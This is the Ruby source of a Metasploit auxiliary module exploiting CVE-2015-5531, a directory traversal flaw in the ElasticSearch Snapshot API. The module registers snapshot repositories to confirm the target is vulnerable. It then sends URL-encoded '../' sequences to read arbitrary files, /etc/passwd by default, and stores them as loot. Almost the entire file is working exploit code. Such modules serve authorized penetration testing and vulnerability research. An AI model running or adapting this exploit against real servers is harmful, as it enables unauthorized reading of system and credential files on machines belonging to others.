117 lines
3.2 KiB
Ruby
117 lines
3.2 KiB
Ruby
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'json'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ElasticSearch Snapshot API Directory Traversal',
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'Description' => %q{'This module exploits a directory traversal
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vulnerability in ElasticSearch, allowing an attacker to read arbitrary
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files with JVM process privileges, through the Snapshot API.
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'},
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'References' =>
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[
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['CVE', '2015-5531'],
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['URL', 'https://packetstormsecurity.com/files/132721/Elasticsearch-Directory-Traversal.html']
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],
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'Author' =>
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[
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'Benjamin Smith', # Vulnerability discovery
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'Pedro Andujar <pandujar[at]segfault.es>', # Metasploit module
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'Jose A. Guasch <jaguasch[at]gmail.com>', # Metasploit module
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],
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'License' => MSF_LICENSE
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))
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register_options(
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[
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Opt::RPORT(9200),
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OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
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OptInt.new('DEPTH', [true, 'Traversal depth', 7])
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], self.class)
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deregister_options('RHOST')
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end
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def proficy?
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req1 = send_request_raw('method' => 'POST',
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'uri' => '/_snapshot/pwn',
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'data' => '{"type":"fs","settings":{"location":"dsr"}}')
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req2 = send_request_raw('method' => 'POST',
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'uri' => '/_snapshot/pwnie',
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'data' => '{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}')
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if req1.body =~ /true/ && req2.body =~ /true/
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return true
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else
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return false
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end
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end
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def read_file(file)
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travs = '_snapshot/pwn/ev1l%2f'
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payload = '../' * datastore['DEPTH']
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travs << payload.gsub('/', '%2f')
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travs << file.gsub('/', '%2f')
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print_status("#{peer} - Checking if it's a vulnerable ElasticSearch")
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if proficy?
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print_good("#{peer} - Check successful")
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else
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print_error("#{peer} - ElasticSearch not vulnearble")
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return
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end
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print_status("#{peer} - Retrieving file contents...")
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res = send_request_raw('method' => 'GET',
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'uri' => travs)
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if res && (res.code == 400)
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return res.body
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else
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print_status("#{res.code}\n#{res.body}")
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return nil
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end
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end
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def run_host(ip)
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filename = datastore['FILEPATH']
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filename = filename[1, filename.length] if filename =~ %r{/^\//}
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contents = read_file(filename)
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if contents.nil?
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print_error("#{peer} - File not downloaded")
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return
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end
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data_hash = JSON.parse(contents)
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fcontent = data_hash['error'].scan(/\d+/).drop(2).map(&:to_i).pack('c*')
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fname = datastore['FILEPATH']
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path = store_loot(
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'elasticsearch.traversal',
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'text/plain',
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ip,
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fcontent,
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fname
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)
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print_good("#{peer} - File saved in: #{path}")
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end
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end
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